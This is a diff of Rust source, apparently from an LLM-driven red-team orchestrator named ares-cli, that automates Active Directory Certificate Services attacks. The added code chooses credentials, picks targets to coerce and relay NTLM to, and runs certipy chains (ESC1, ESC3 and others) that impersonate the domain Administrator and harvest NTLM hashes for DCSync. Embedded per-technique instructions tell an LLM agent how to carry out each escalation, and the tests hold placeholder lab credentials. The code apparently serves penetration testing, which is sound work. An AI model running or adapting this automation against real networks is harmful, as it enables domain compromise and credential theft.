StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state.domains.push("contoso.local".into()); + state.domains.push("dev.contoso.local".into()); + state + .credentials + .push(make_credential("childuser", "P@ss!", "dev.contoso.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "childuser"); + } + + #[test] + fn collect_quarantined_same_domain_does_not_fall_back_cross_forest() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("gooduser", "Pass!456", "fabrikam.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_adcs_work(&state); + assert!( + work.is_empty(), + "cross-forest LDAP bind fails 52e — must not dispatch with fabrikam cred" + ); + } + + #[test] + fn collect_quarantined_same_domain_falls_back_to_sibling_in_same_forest() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state.domains.push("contoso.local".into()); + state.domains.push("dev.contoso.local".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("gooduser", "Pass!456", "dev.contoso.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "gooduser"); + } #[test] fn extract_domain_from_fqdn_typical() { @@ -159,4 +859,70 @@ mod tests { // "host." splits into ("host", "") -> Some("") assert_eq!(extract_domain_from_fqdn("host."), Some("".to_string())); } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_ADCS_SERVERS, "adcs_servers"); + } + + #[test] + fn certenroll_share_name_match() { + let share_name = "CertEnroll"; + assert_eq!(share_name.to_lowercase(), "certenroll"); + } + + #[test] + fn certenroll_case_insensitive() { + let names = vec!["CertEnroll", "certenroll", "CERTENROLL"]; + for name in names { + assert_eq!(name.to_lowercase(), "certenroll"); + } + } + + #[test] + fn domain_resolution_from_fqdn() { + // Verifies domain extraction works for typical ADCS hosts + assert_eq!( + extract_domain_from_fqdn("ca01.contoso.local"), + Some("contoso.local".to_string()) + ); + assert_eq!( + extract_domain_from_fqdn("ca01.fabrikam.local"), + Some("fabrikam.local".to_string()) + ); + } + + #[test] + fn credential_selection_prefers_same_domain() { + let creds = [ + ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }, + ares_core::models::Credential { + id: "c2".into(), + username: "admin2".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "fabrikam.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }, + ]; + let target_domain = "fabrikam.local"; + let selected = creds.iter().find(|c| { + !c.password.is_empty() && c.domain.to_lowercase() == target_domain.to_lowercase() + }); + assert!(selected.is_some()); + assert_eq!(selected.unwrap().domain, "fabrikam.local"); + } } diff --git a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs index 124c9c2f..b52da6cd 100644 --- a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs @@ -23,22 +23,48 @@ use crate::orchestrator::dispatcher::Dispatcher; const DEDUP_ADCS_EXPLOIT: &str = "adcs_exploit"; /// ADCS vulnerability types we know how to exploit. -const EXPLOITABLE_ESC_TYPES: &[&str] = &[ +/// ESC1/2/3/6: certipy req (enrollment-based, certipy_request tool) +/// ESC4: certipy template modification (certipy_template_esc4 / certipy_esc4_full_chain) +/// ESC7: ManageCA abuse (certipy_esc7_full_chain: add-officer → SubCA → issue → retrieve → auth) +/// ESC8: NTLM relay to HTTP web enrollment (coercion role) +/// ESC9/13: certipy req with specific flags +/// ESC10: Weak certificate mapping (StrongCertificateBindingEnforcement=0), certipy req -sid +/// ESC11: RPC relay to ICPR enrollment (certipy relay -target rpc://, coercion role) +/// ESC15: Application policy OID abuse (certipy req -application-policies) +pub(crate) const EXPLOITABLE_ESC_TYPES: &[&str] = &[ "esc1", + "esc2", + "esc3", "esc4", + "esc6", + "esc7", "esc8", + "esc9", + "esc10", + "esc11", + "esc13", + "esc15", "adcs_esc1", + "adcs_esc2", + "adcs_esc3", "adcs_esc4", + "adcs_esc6", + "adcs_esc7", "adcs_esc8", + "adcs_esc9", + "adcs_esc10", + "adcs_esc11", + "adcs_esc13", + "adcs_esc15", ]; /// Monitors for discovered ADCS vulnerabilities and dispatches exploitation tasks. -/// Interval: 30s. +/// Interval: 5s. pub async fn auto_adcs_exploitation( dispatcher: Arc, mut shutdown: watch::Receiver, ) { - let mut interval = tokio::time::interval(Duration::from_secs(30)); + let mut interval = tokio::time::interval(Duration::from_secs(5)); interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); loop { @@ -104,44 +130,63 @@ pub async fn auto_adcs_exploitation( .unwrap_or("") .to_string(); - let ca_host = extract_ca_host(&vuln.details, &vuln.target); + let ca_host = extract_ca_host(&vuln.details, &vuln.target).or_else(|| { + // When the parser couldn't determine the CA host (empty target), + // resolve it from the CertEnroll share for this domain. + resolve_ca_host_from_shares(&state.shares, &state.hosts, &domain) + }); // For ESC4, we need the account with GenericAll on the template let account_name = extract_account_name(&vuln.details); // Find a credential for exploitation. - // For ESC4, prefer the account that has GenericAll on the template. - // For ESC1/ESC8, any authenticated user in the domain works. - let credential = account_name + // For ESC4, prefer the account that has GenericAll on the + // template (it may live in a different domain than the CA + // — cross-forest ACL edge — so use the source-cred helper). + // For ESC1/ESC8/etc, any authenticated user in the CA's + // domain works; cross-forest ESC8 also accepts a credential + // from a trusting domain because the relay path doesn't + // need same-domain auth (the cert is issued to whatever + // principal lands on the relay). + let account_cred = account_name .as_ref() - .and_then(|acct| { - state.credentials.iter().find(|c| { - c.username.to_lowercase() == acct.to_lowercase() - && (domain.is_empty() - || c.domain.to_lowercase() == domain.to_lowercase()) + .and_then(|acct| state.find_source_credential(acct, &domain)); + + let same_domain_cred = if !domain.is_empty() { + state + .credentials + .iter() + .find(|c| { + c.domain.to_lowercase() == domain.to_lowercase() + && !c.password.is_empty() + && !c.username.starts_with('$') + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) }) - }) - .or_else(|| { - // Fall back to any credential for this domain - if !domain.is_empty() { - state.credentials.iter().find(|c| { - c.domain.to_lowercase() == domain.to_lowercase() - && !c.password.is_empty() - && !state.is_delegation_account(&c.username) - && !state.is_credential_quarantined(&c.username, &c.domain) - }) - } else { - state.credentials.iter().find(|c| { - !c.password.is_empty() - && !state.is_delegation_account(&c.username) - && !state.is_credential_quarantined(&c.username, &c.domain) - }) - } - }) - .cloned(); + .cloned() + } else { + state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && !c.username.starts_with('$') + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .cloned() + }; + + let trust_cred = if same_domain_cred.is_none() && !domain.is_empty() { + state.find_trust_credential(&domain) + } else { + None + }; + + let credential = account_cred.or(same_domain_cred).or(trust_cred); if credential.is_none() { - debug!( + info!( vuln_id = %vuln.vuln_id, esc_type = %esc_type, "ADCS exploit skipped: no credential available" @@ -154,6 +199,22 @@ pub async fn auto_adcs_exploitation( .get(&domain.to_lowercase()) .cloned(); + let domain_sid = state.domain_sids.get(&domain.to_lowercase()).cloned(); + + // For coercion-based ESC paths (esc8/esc11), build a + // tier-ordered candidate list of coerce targets so the LLM + // agent can iterate when the first one's callback drifts. + let coerce_candidates = if matches!(esc_type.as_str(), "esc8" | "esc11") { + pick_coerce_targets( + ca_host.as_deref(), + dc_ip.as_deref(), + &state.domain_controllers, + &state.hosts, + ) + } else { + Vec::new() + }; + Some(AdcsExploitWork { vuln_id: vuln.vuln_id.clone(), dedup_key, @@ -163,13 +224,85 @@ pub async fn auto_adcs_exploitation( ca_host, domain, dc_ip, + domain_sid, credential, + coerce_candidates, }) }) .collect() }; for item in work { + // ESC3 is a two-step Enrollment Agent attack (`certipy req + // -template ` produces a CRA cert, then `certipy req + // -template -on-behalf-of admin -pfx + // .pfx` produces the admin cert). The single-step LLM + // dispatch path silently skips the `-pfx` branch — the LLM + // round runs, calls `certipy_request` for the agent template, + // and reports success without ever firing the on-behalf-of + // step. Route ESC3 to the deterministic chained tool instead; + // the existing per-vuln `exploit_failure_counts` / + // `is_exploit_abandoned` machinery bounds retries. + if item.esc_type == "esc3" { + if dispatch_esc3_deterministic(&dispatcher, &item).await { + // Dispatched (regardless of eventual success — the spawn + // handles its own dedup-clear-on-failure path). + } + continue; + } + + // ESC1 was previously LLM-routed via throttled_submit. In practice + // those tasks were silently deferred (Ok(None) at the throttler, + // debug-level log below INFO), so the auto chain stalled at the + // exploitation step even though discovery had published the vuln. + // Convert to deterministic dispatch using the composite + // `certipy_esc1_full_chain` tool — request the cert with the + // target's admin SID (KB5014754 strict mapping) and immediately + // authenticate it. The parser then publishes the NTLM hash as a + // Hash discovery for `auto_credential_reuse` to consume. End-to- + // end automated chain with no LLM round. + if item.esc_type == "esc1" { + if dispatch_esc1_deterministic(&dispatcher, &item).await { + // Same pattern as ESC3 — spawn owns its own retry/dedup + // lifecycle on failure. + } + continue; + } + + let role = role_for_esc_type(&item.esc_type); + + // Coercion-based ESC paths (ESC8, ESC11) need a relay listener and + // a coerce target that is not the CA itself — Windows NTLM + // same-machine loopback protection blocks relay back to the + // coerced host. Without these, the dispatched task cannot succeed. + let (coerce_target, coerce_targets, listener_ip) = if role == "coercion" { + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => { + debug!( + vuln_id = %item.vuln_id, + esc_type = %item.esc_type, + "ADCS coercion exploit skipped: no listener_ip configured" + ); + continue; + } + }; + if item.coerce_candidates.is_empty() { + debug!( + vuln_id = %item.vuln_id, + esc_type = %item.esc_type, + ca_host = ?item.ca_host, + "ADCS coercion exploit skipped: no coerce target distinct from ca_host" + ); + continue; + } + let primary = item.coerce_candidates[0].clone(); + let all = item.coerce_candidates.clone(); + (Some(primary), Some(all), Some(listener)) + } else { + (None, None, None) + }; + let mut payload = json!({ "technique": format!("adcs_{}", item.esc_type), "vuln_type": format!("adcs_{}", item.esc_type), @@ -177,6 +310,7 @@ pub async fn auto_adcs_exploitation( "esc_type": item.esc_type, "domain": item.domain, "impersonate": "administrator", + "instructions": esc_instructions(&item.esc_type), }); if let Some(ref ca) = item.ca_name { @@ -192,6 +326,23 @@ pub async fn auto_adcs_exploitation( if let Some(ref dc) = item.dc_ip { payload["dc_ip"] = json!(dc); } + if let Some(ref sid) = item.domain_sid { + payload["domain_sid"] = json!(sid); + // Administrator RID is always 500 + payload["admin_sid"] = json!(format!("{sid}-500")); + } + + if let Some(ref ip) = listener_ip { + payload["listener_ip"] = json!(ip); + } + if let Some(ref t) = coerce_target { + payload["coerce_target"] = json!(t); + } + if let Some(ref ts) = coerce_targets { + if !ts.is_empty() { + payload["coerce_targets"] = json!(ts); + } + } if let Some(ref cred) = item.credential { payload["username"] = json!(cred.username); @@ -203,10 +354,6 @@ pub async fn auto_adcs_exploitation( }); } - // ESC8 uses coercion+relay, dispatch to coercion role. - // ESC1/ESC4 use certipy directly, dispatch to privesc role. - let role = role_for_esc_type(&item.esc_type); - let priority = dispatcher.effective_priority(&format!("adcs_{}", item.esc_type)); match dispatcher .throttled_submit("exploit", role, payload, priority) @@ -300,13 +447,572 @@ fn extract_account_name( .map(|s| s.to_string()) } +/// Resolve CA host IP from CertEnroll shares when the vuln has no target. +/// Looks for a CertEnroll share whose host belongs to the given domain. +/// Falls back to any CertEnroll share if no domain-matched share is found. +fn resolve_ca_host_from_shares( + shares: &[ares_core::models::Share], + hosts: &[ares_core::models::Host], + domain: &str, +) -> Option { + let certenroll_shares: Vec<_> = shares + .iter() + .filter(|s| s.name.to_lowercase() == "certenroll") + .collect(); + + if certenroll_shares.is_empty() { + return None; + } + + // Try domain-matched share first + if !domain.is_empty() { + let domain_lower = domain.to_lowercase(); + if let Some(s) = certenroll_shares.iter().find(|s| { + hosts.iter().any(|h| { + (h.ip == s.host || h.hostname.to_lowercase() == s.host.to_lowercase()) + && h.hostname.to_lowercase().ends_with(&domain_lower) + }) + }) { + return Some(s.host.clone()); + } + } + + // Fall back to any CertEnroll share (likely the CA for this environment) + certenroll_shares.first().map(|s| s.host.clone()) +} + +/// Build a tier-ordered list of viable coerce targets for ESC8/ESC11, +/// excluding the CA host (Windows NTLM same-machine loopback blocks relay +/// back to the coerced host). Tiers: (1) the vuln-domain DC, (2) any other +/// DCs in state, (3) Windows member servers in state. The agent iterates +/// the list when an earlier candidate's callback drifts (a real lab +/// failure mode — see `relay_and_coerce_validation.md`). Comparison against +/// `ca_host` is case-insensitive. +fn pick_coerce_targets( + ca_host: Option<&str>, + dc_ip: Option<&str>, + domain_controllers: &std::collections::HashMap, + hosts: &[ares_core::models::Host], +) -> Vec { + let ca_lower = ca_host.map(str::to_lowercase); + let mut out: Vec = Vec::new(); + let push_unique = |out: &mut Vec, candidate: &str| { + if candidate.is_empty() { + return; + } + let cand_lower = candidate.to_lowercase(); + if ca_lower.as_deref() == Some(cand_lower.as_str()) { + return; + } + if !out.iter().any(|e| e.to_lowercase() == cand_lower) { + out.push(candidate.to_string()); + } + }; + + // Tier 1: vuln-domain DC. + if let Some(dc) = dc_ip { + push_unique(&mut out, dc); + } + // Tier 2: other DCs in state (cross-domain coercion is fine for ESC8 — + // the CA accepts any authenticated machine account). + for ip in domain_controllers.values() { + push_unique(&mut out, ip); + } + // Tier 3: Windows member servers (bypass DC callback drift). We check + // both the OS string and SMB service exposure since `os` is not always + // populated. + for h in hosts { + if h.is_dc { + continue; + } + let is_windows = h.os.to_lowercase().contains("windows") + || h.services.iter().any(|s| { + let s = s.to_lowercase(); + s.contains("microsoft-ds") || s.contains("netbios-ssn") + }); + if is_windows { + push_unique(&mut out, &h.ip); + } + } + + out +} + /// Determine the dispatch role for a given ESC type. -/// ESC8 uses coercion+relay (coercion role), while ESC1/ESC4 use certipy directly (privesc role). +/// ESC8 uses coercion+relay (coercion role), while all others use certipy directly (privesc role). fn role_for_esc_type(esc_type: &str) -> &'static str { - if esc_type == "esc8" { - "coercion" - } else { - "privesc" + match esc_type { + "esc8" | "esc11" => "coercion", + _ => "privesc", + } +} + +/// Fire the deterministic two-step ESC3 chain for one work item, replacing +/// the LLM-routed dispatch that was silently skipping the on-behalf-of step. +/// +/// Returns `true` if the chain was dispatched (the spawn will handle the +/// async result); `false` if the item was abandoned (already over the failure +/// cap) or precondition data was missing. Caller should always `continue` to +/// the next work item — dedup is managed inside this function. +/// +/// Retry/dedup model: +/// - Dedup is marked BEFORE spawning to prevent the next 5s tick from +/// double-firing while the current chain is in flight. +/// - On chain failure that is NOT yet at `MAX_EXPLOIT_FAILURES`, dedup is +/// cleared so the next 5s tick can retry. This burns one slot of the +/// per-vuln failure counter. +/// - On chain success, dedup stays locked (the result-processing flow +/// marks the vuln exploited via discovery extraction from the chain +/// output — same path as any other certipy_auth result). +/// - On chain failure that hits the cap, dedup stays locked permanently. +/// +/// Deterministic ESC1 chain: certipy req (with -upn/-sid for KB5014754) → +/// certipy auth → NTLM hash → published as `Hash` discovery so +/// `auto_credential_reuse` can DCSync the foreign DC. Mirrors the lifecycle +/// of `dispatch_esc3_deterministic`: marks dedup before spawning, clears on +/// failure to allow retry (capped by per-vuln failure counter), keeps dedup +/// locked permanently on abandoned vulns and on success. +/// +/// Targets `-500` (Administrator RID) — the foreign domain's +/// built-in DA. Any account with DCSync rights works, but Administrator is +/// the lowest-friction choice (always present, RID 500 stable across labs). +async fn dispatch_esc1_deterministic(dispatcher: &Arc, item: &AdcsExploitWork) -> bool { + if dispatcher.state.is_exploit_abandoned(&item.vuln_id).await { + info!( + vuln_id = %item.vuln_id, + "ESC1 chain skipped — vuln abandoned (>=MAX_EXPLOIT_FAILURES); locking dedup" + ); + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + return false; + } + + let Some(template) = item.template_name.clone() else { + debug!(vuln_id = %item.vuln_id, "ESC1 chain skipped — no template_name"); + return false; + }; + let Some(ca_name) = item.ca_name.clone() else { + debug!(vuln_id = %item.vuln_id, "ESC1 chain skipped — CA name unknown"); + return false; + }; + let Some(ca_host) = item.ca_host.clone() else { + debug!(vuln_id = %item.vuln_id, "ESC1 chain skipped — CA host unknown"); + return false; + }; + let Some(dc_ip) = item.dc_ip.clone() else { + debug!(vuln_id = %item.vuln_id, "ESC1 chain skipped — DC IP unknown"); + return false; + }; + let Some(cred) = item.credential.clone() else { + debug!(vuln_id = %item.vuln_id, "ESC1 chain skipped — no credential"); + return false; + }; + let Some(domain_sid) = item.domain_sid.clone() else { + // No domain SID → can't satisfy KB5014754 strict cert mapping (the + // cert needs the target principal's full SID embedded). Resolution + // happens through `auto_sid_enumeration`; until that lands, defer. + debug!( + vuln_id = %item.vuln_id, + "ESC1 chain skipped — domain SID unknown (KB5014754 needs explicit SID); will retry once sid_enumeration publishes it" + ); + return false; + }; + + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + } + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + + let upn = format!("administrator@{}", item.domain); + let admin_sid = format!("{domain_sid}-500"); + let tool_args = serde_json::json!({ + "username": cred.username, + "password": cred.password, + "domain": item.domain, + "ca": ca_name, + "template": template, + "dc_ip": dc_ip, + "target": ca_host, + "upn": upn, + "sid": admin_sid, + }); + + let task_id = format!( + "esc1_chain_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + let call = ares_llm::ToolCall { + id: format!("certipy_esc1_full_chain_{}", uuid::Uuid::new_v4().simple()), + name: "certipy_esc1_full_chain".to_string(), + arguments: tool_args, + }; + + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + ca = %ca_name, + template = %template, + upn = %upn, + "ESC1 chain dispatched (direct tool, no LLM)" + ); + + let dispatcher_bg = dispatcher.clone(); + let vuln_id_bg = item.vuln_id.clone(); + let dedup_key_bg = item.dedup_key.clone(); + tokio::spawn(async move { + let result = dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("privesc", &task_id, &call) + .await; + + let succeeded = match &result { + Ok(r) => { + r.error.is_none() + && r.discoveries + .as_ref() + .and_then(|d| d.get("hashes")) + .and_then(|h| h.as_array()) + .map(|a| !a.is_empty()) + .unwrap_or(false) + } + Err(_) => false, + }; + + if succeeded { + // Credit the ADCS primitive on the scoreboard. The deterministic + // chain runs `certipy_esc1_full_chain` via `dispatch_tool`, which + // produces a `esc1_chain_*` task_id — that does NOT match the + // `exploit_*` prefix gate in result_processing, so the standard + // mark_exploited path never fires. Without this call, ESC1 lands + // a working NTLM hash but the `adcs_esc1_*` token is never + // added to `:exploited`. + if let Err(e) = dispatcher_bg + .state + .mark_exploited(&dispatcher_bg.queue, &vuln_id_bg) + .await + { + warn!( + err = %e, + vuln_id = %vuln_id_bg, + "Failed to mark ESC1 exploited (chain succeeded but token not emitted)" + ); + } + info!( + vuln_id = %vuln_id_bg, + "ESC1 chain succeeded — NTLM hash published; auto_credential_reuse will DCSync the foreign DC" + ); + return; + } + + let attempts = dispatcher_bg + .state + .record_exploit_failure(&vuln_id_bg) + .await; + let abandoned = dispatcher_bg.state.is_exploit_abandoned(&vuln_id_bg).await; + let summary = match &result { + Ok(r) => r + .error + .clone() + .unwrap_or_else(|| "no NTLM hash in discoveries".into()), + Err(e) => format!("dispatch error: {e}"), + }; + if abandoned { + warn!( + vuln_id = %vuln_id_bg, + attempts, + summary = %summary, + "ESC1 chain abandoned — exhausted MAX_EXPLOIT_FAILURES; dedup stays locked" + ); + return; + } + warn!( + vuln_id = %vuln_id_bg, + attempts, + summary = %summary, + "ESC1 chain failed — clearing dedup for retry on next tick" + ); + { + let mut state = dispatcher_bg.state.write().await; + state.unmark_processed(DEDUP_ADCS_EXPLOIT, &dedup_key_bg); + } + let _ = dispatcher_bg + .state + .unpersist_dedup(&dispatcher_bg.queue, DEDUP_ADCS_EXPLOIT, &dedup_key_bg) + .await; + }); + true +} + +async fn dispatch_esc3_deterministic(dispatcher: &Arc, item: &AdcsExploitWork) -> bool { + // Bail early when the existing exploitation pipeline has already given + // up on this vuln. Without this check we'd keep refiring against a + // permanently-broken template every 5s tick. + if dispatcher.state.is_exploit_abandoned(&item.vuln_id).await { + info!( + vuln_id = %item.vuln_id, + "ESC3 chain skipped — vuln abandoned (>=MAX_EXPLOIT_FAILURES); locking dedup" + ); + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + return false; + } + + let Some(template) = item.template_name.clone() else { + debug!( + vuln_id = %item.vuln_id, + "ESC3 chain skipped — no agent_template (template_name missing from vuln details)" + ); + return false; + }; + let Some(ca_name) = item.ca_name.clone() else { + debug!( + vuln_id = %item.vuln_id, + "ESC3 chain skipped — CA name unknown" + ); + return false; + }; + let Some(ca_host) = item.ca_host.clone() else { + debug!( + vuln_id = %item.vuln_id, + "ESC3 chain skipped — CA host unknown" + ); + return false; + }; + let Some(dc_ip) = item.dc_ip.clone() else { + debug!( + vuln_id = %item.vuln_id, + "ESC3 chain skipped — DC IP unknown" + ); + return false; + }; + let Some(cred) = item.credential.clone() else { + debug!( + vuln_id = %item.vuln_id, + "ESC3 chain skipped — no credential" + ); + return false; + }; + + // Mark dedup before spawning so concurrent ticks don't double-dispatch. + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + } + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + + let tool_args = serde_json::json!({ + "username": cred.username, + "password": cred.password, + "domain": item.domain, + "ca": ca_name, + "dc_ip": dc_ip, + "target": ca_host, + "agent_template": template, + // on_behalf_template defaults to "User" inside the tool — the + // universal client-auth template that any DA can normally enroll. + // Override here if the lab uses a custom CRA target template. + "on_behalf_of": "administrator", + }); + + let task_id = format!( + "esc3_chain_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + let call = ares_llm::ToolCall { + id: format!("certipy_esc3_full_chain_{}", uuid::Uuid::new_v4().simple()), + name: "certipy_esc3_full_chain".to_string(), + arguments: tool_args, + }; + + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + ca = %ca_name, + agent_template = %template, + "ESC3 chain dispatched (direct tool, no LLM)" + ); + + let dispatcher_bg = dispatcher.clone(); + let vuln_id_bg = item.vuln_id.clone(); + let dedup_key_bg = item.dedup_key.clone(); + tokio::spawn(async move { + let result = dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("privesc", &task_id, &call) + .await; + + let succeeded = match &result { + Ok(r) => r.error.is_none(), + Err(_) => false, + }; + + if succeeded { + // Same scoreboard-credit gap as ESC1: the deterministic chain + // bypasses the `exploit_*` task_id gate in result_processing, so + // the standard mark_exploited path never fires. Stamp it + // explicitly here. + if let Err(e) = dispatcher_bg + .state + .mark_exploited(&dispatcher_bg.queue, &vuln_id_bg) + .await + { + warn!( + err = %e, + vuln_id = %vuln_id_bg, + "Failed to mark ESC3 exploited (chain succeeded but token not emitted)" + ); + } + info!( + vuln_id = %vuln_id_bg, + "ESC3 chain succeeded — dedup locked, discoveries published by tool dispatcher" + ); + return; + } + + // Failure path: increment the per-vuln counter and decide whether + // to allow another retry. If we're at the cap, dedup stays locked + // permanently. Otherwise, clear dedup so the next 5s tick can + // retry (which burns another counter slot). + let attempts = dispatcher_bg + .state + .record_exploit_failure(&vuln_id_bg) + .await; + let abandoned = dispatcher_bg.state.is_exploit_abandoned(&vuln_id_bg).await; + let summary = match &result { + Ok(r) => r + .error + .clone() + .unwrap_or_else(|| "(no error string)".into()), + Err(e) => format!("dispatch error: {e}"), + }; + if abandoned { + warn!( + vuln_id = %vuln_id_bg, + attempts, + summary = %summary, + "ESC3 chain abandoned — exhausted MAX_EXPLOIT_FAILURES; dedup stays locked" + ); + return; + } + warn!( + vuln_id = %vuln_id_bg, + attempts, + summary = %summary, + "ESC3 chain failed — clearing dedup for retry on next tick" + ); + { + let mut state = dispatcher_bg.state.write().await; + state.unmark_processed(DEDUP_ADCS_EXPLOIT, &dedup_key_bg); + } + let _ = dispatcher_bg + .state + .unpersist_dedup(&dispatcher_bg.queue, DEDUP_ADCS_EXPLOIT, &dedup_key_bg) + .await; + }); + true +} + +/// Return ESC-type-specific exploitation instructions for the LLM agent. +fn esc_instructions(esc_type: &str) -> &'static str { + match esc_type { + "esc1" => concat!( + "ESC1: Enrollee supplies Subject Alternative Name (SAN).\n", + "Use certipy_request with template, ca (CA name), upn='administrator@',\n", + "dc_ip (domain controller), target (CA server IP from ca_host field),\n", + "and sid (use admin_sid from payload, e.g. S-1-5-21-...-500).\n", + "IMPORTANT: The 'target' param MUST be the CA server (ca_host), NOT the DC.\n", + "IMPORTANT: Include 'sid' param (admin_sid) to avoid SID mismatch in certipy_auth.\n", + "Then use certipy_auth with the resulting .pfx to get the NT hash." + ), + "esc2" => concat!( + "ESC2: Any Purpose EKU allows client auth.\n", + "Use certipy_request with template, ca, dc_ip, target=ca_host, and sid=admin_sid.\n", + "IMPORTANT: Set target to the ca_host IP, not the dc_ip.\n", + "IMPORTANT: Include 'sid' param (admin_sid) to avoid SID mismatch in certipy_auth.\n", + "Then use certipy_auth with the resulting .pfx." + ), + "esc3" => concat!( + "ESC3: Certificate Request Agent (enrollment agent).\n", + "Step 1: certipy_request the CRA template with target=ca_host.\n", + "Step 2: Use that cert to request a cert on behalf of administrator.\n", + "IMPORTANT: Set target to the ca_host IP, not the dc_ip." + ), + "esc4" => concat!( + "ESC4: Template ACL abuse — attacker has GenericAll on a template.\n", + "Use certipy_esc4_full_chain which modifies the template to be ESC1-vulnerable,\n", + "requests a cert as administrator, then restores the original template.\n", + "IMPORTANT: Set target to the ca_host IP for certificate enrollment." + ), + "esc6" => concat!( + "ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA.\n", + "Use certipy_request with any template that allows client auth,\n", + "adding upn='administrator@', target=ca_host, and sid=admin_sid.\n", + "IMPORTANT: Set target to the ca_host IP, not the dc_ip.\n", + "IMPORTANT: Include 'sid' param (admin_sid) to avoid SID mismatch.\n", + "Then use certipy_auth with the resulting .pfx." + ), + "esc7" => concat!( + "ESC7: ManageCA privilege abuse.\n", + "Use certipy_esc7_full_chain to execute the full chain: add-officer → request SubCA cert (denied) → issue pending request → retrieve cert → authenticate.\n", + "IMPORTANT: Set target to the ca_host IP (CA server, not DC).\n", + "IMPORTANT: Include 'sid' param (admin_sid from payload) to avoid SID mismatch in certipy v5.\n", + "The tool handles all 5 steps automatically and returns the NT hash." + ), + "esc9" => concat!( + "ESC9: GenericAll on a user allows UPN spoofing.\n", + "If you have GenericAll on a user, change their UPN to administrator@,\n", + "request a cert using the modified user, then restore the original UPN.\n", + "Use certipy_request (with target=ca_host) then certipy_auth.\n", + "IMPORTANT: Set target to the ca_host IP, not the dc_ip." + ), + "esc10" => concat!( + "ESC10: Weak Certificate Mapping (StrongCertificateBindingEnforcement=0).\n", + "The DC does not enforce strong cert-to-account binding.\n", + "Use certipy_request with template, ca, target=ca_host, and sid=admin_sid.\n", + "The -sid flag embeds the target SID in the cert, bypassing weak mapping.\n", + "IMPORTANT: Set target to the ca_host IP, not the dc_ip.\n", + "Then use certipy_auth with the resulting .pfx." + ), + "esc11" => concat!( + "ESC11: RPC relay to ICPR certificate enrollment (IF_ENFORCEENCRYPTICERTREQUEST disabled).\n", + "Use certipy_relay with target='rpc://' and ca=.\n", + "This starts a relay listener that accepts coerced NTLM auth and relays it\n", + "to the CA's RPC enrollment endpoint to obtain a certificate.\n", + "Combine with coercion (PetitPotam, PrinterBug) to trigger auth from a DC.\n", + "After relay captures a cert, use certipy_auth with the .pfx." + ), + "esc13" => concat!( + "ESC13: Issuance Policy linked to a group.\n", + "Use certipy_request with the ESC13 template and target=ca_host.\n", + "IMPORTANT: Set target to the ca_host IP, not the dc_ip.\n", + "Then use certipy_auth with the resulting .pfx." + ), + "esc15" => concat!( + "ESC15 (CVE-2024-49019): Application policy OID abuse.\n", + "Use certipy_request with template, ca, target=ca_host,\n", + "and application_policies= (e.g. '1.3.6.1.5.5.7.3.2' for Client Authentication).\n", + "The application policy OID overrides the template's EKU restrictions.\n", + "IMPORTANT: Set target to the ca_host IP, not the dc_ip.\n", + "Then use certipy_auth with the resulting .pfx." + ), + _ => "Use certipy_request with the template and CA, then certipy_auth with the .pfx. Set target to ca_host.", } } @@ -319,7 +1025,13 @@ struct AdcsExploitWork { ca_host: Option, domain: 